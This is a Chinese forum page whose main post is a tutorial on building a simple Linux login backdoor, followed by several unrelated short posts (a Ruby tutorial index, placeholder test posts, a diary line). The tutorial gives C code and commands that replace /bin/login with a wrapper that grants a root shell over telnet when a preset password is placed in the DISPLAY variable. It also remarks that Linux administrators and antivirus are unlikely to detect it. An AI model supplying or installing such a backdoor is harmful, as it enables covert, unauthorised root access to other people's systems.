斜渡_桃之夭夭
Linux 后门技术研究:从最简单 login 后门说起
展开Biu

关于后门相信大家都很熟悉了,渗透测试中也经常用到。我们接触比较多的基本都是 Windows 下的木马后门,对 Linux 下后门技术的了解还有一些不足,希望通过本系列教程能 让大家对 Linux 下后门开发有更加深入的认识。
为什么要学习 Linux 下的后门技术呢?在渗透测试中你会发现,重要系统的架构中, Windows 操作系统的比例越来越少,类 Linux/Unix 系统的比例逐渐增多,且 Linux 下的杀 毒软件还不完善,加之管理员对 Linux 操作不够娴熟,基本可以不用做免杀就可对目标主机 进行远程控制。
本文从用户及后门入手讲解,了解后门技术原理,之后再介绍内核模块(LKM)级 rootkit 开发技术,让大家对 Linux 系统及 Linux 下后门技术有一个新的认识。当然,你应该对 Linux 的基本操作很熟练,并有一定的 C 语言基础。
Linux 下后门一般是通过修改系统配置文件或安装第三方后门工具来实现的,具有隐蔽性强、绕过系统日志、不易被管理员发现等特点。常用的后门技术有很多,如创建超级用户、设置 SUID Shell、修改系统服务程序、共享库文件、可装载内核模块(LKM)等。
这里分享下 Ubuntu 下最简单的 login 后门的开发。作为最简单的 login 后门,原理也自然很简单,其实就是借助于 telnet 服务来实现的。先安装 telnet 服务(默认情况下 Ubuntu 没有安装 telnet 服务),使用命令“sudo apt-get install telnetd”,安装过程中需要输 入密码,然后点击两次 Y 键即可顺利安装,如图 1 所示。

安装完成后,即可使用 telnet 远程连接该主机了,那么 telnet 服务的用户登录的校验是由谁来完成的呢?是 bin 目录下的 login 程序。接下来要做的是将/bin 目录下的 login 文件剪切到/sbin 目录下并改名为 logins,之后我们打造一个后门程序复制到/bin 下并命 名为 login,后门程序的功能是当用户远程登录时判断 DISPLAY 变量是否为我们预设的密 码,如果是就启动/bin/bash 来获得一个 shell,如果 DISPLAY 不是我们预设的密码,就执 行/sbin/logins 程序实现正常登录。
后门程序原理很简单,主要代码如下:
#define PASSWORD "passWORD"
#define _PATH_LOGIN "/sbin/logins"
首先,定义预设密码和真正的 login 路径,密码可以设置,路径则是我们将真正 login
程序备份到的地方。
char *display = getenv("DISPLAY");
然后获取 DISPLAY 环境变量。

if( display == NULL ) { execve(_PATH_LOGIN, argv, envp);perror(_PATH_LOGIN);
exit(1);
}
当环境变量 DISPLAY 为空时,执行正常的 login 验证。
if (!strcmp(display,PASSWORD)) {
system("/bin/bash");
exit(1);
}
当环境变量 DISPLAY 为预设密码时,执行/bin/bash 获得 rootshell。
代码写好后使用 gcc 编译即可,剩下的就是安装。很简单,首先执行命令“cp /bin/login
/sbin/logins”备份 login 文件,然后将我们编译好的 login 文件复制为/bin/login 就大 功告成了。

使用起来也是很简单的,先设置 DISPLAY 环境变量,使用命令“export DISPLAY=passWORD”,然后进行 telnet 连接目标主机,即可直接获得 rootshell如图 2 所示.
完整代码详见附件 login.c。最简单的 login 后门就到这里,有什么问题欢迎大家和我 交流。

本内容已隐藏,回复后刷新可见哦

一星期内筑楼超过10页..自然会有其他的

[查看全文]
技术宅没心没肺
【技术汇总贴】求大家把能拯救世界的技术汇总起来~
展开Biu

额。。。LZ不知道这样的帖子该不该发到这个区,不过我确实没找到适合的地方。。。

LZ权限低,无法搜索帖子,不知道有木有人发过相同内容,如果有的话麻烦回复一下,我去瞻仰一下~~

这一发的初衷呢,就是想说,各种各样的技术宅开始了拯救世界的道路,但一些技术我们看到的时候惊讶,却在时间的流逝中淡忘,或者想回过头来再次膜拜,却苦于寻找,就想能不能把技术宅的成果汇总起来,在下面回复个网址,稍微写点简介内容神马的,或者直接上图,方便大家~~

谢谢各位基友~

[查看全文]
Richeir
我可以引咎辞职了
展开Biu

@119#

我可以引咎辞职了

[查看全文]
CyberZHG
本帖最后由
展开Biu

本帖最后由 CyberZHG 于 2014-2-15 11:28 编辑

test

[查看全文]
Richeir
【Ruby】导航贴
展开Biu

本帖最后由 Richeir 于 2012-8-25 22:53 编辑

@104#

我基本就差刨腹谢罪了....这段时间牵涉到太多的事情,工作还在试用期...@78#

所以大家都懂~

【Ruby】0.你好Ruby

【Ruby】1.1 标准Ruby环境的部署

【Ruby】1.2 Ruby的集成开发环境

【Ruby】1.3 NetBeans环境搭建

【Ruby】2 快速入门

【Ruby】3.1 数据类型(一):数值、字符串、数组

[查看全文]
CyberZHG
本帖最后由
展开Biu

本帖最后由 CyberZHG 于 2014-8-20 21:04 编辑

empty

[查看全文]
ID:L1
本帖最后由
展开Biu

本帖最后由 ID:L1 于 2012-8-14 18:17 编辑

犹豫中先休息在说了。

奇怪难道64被和谐了。。所以要分开。。

[查看全文]
ID:L1
日记2012年8月12日 第六三天
展开Biu

:43:连续几天没去学C++

C@21#+#7053!+

[查看全文]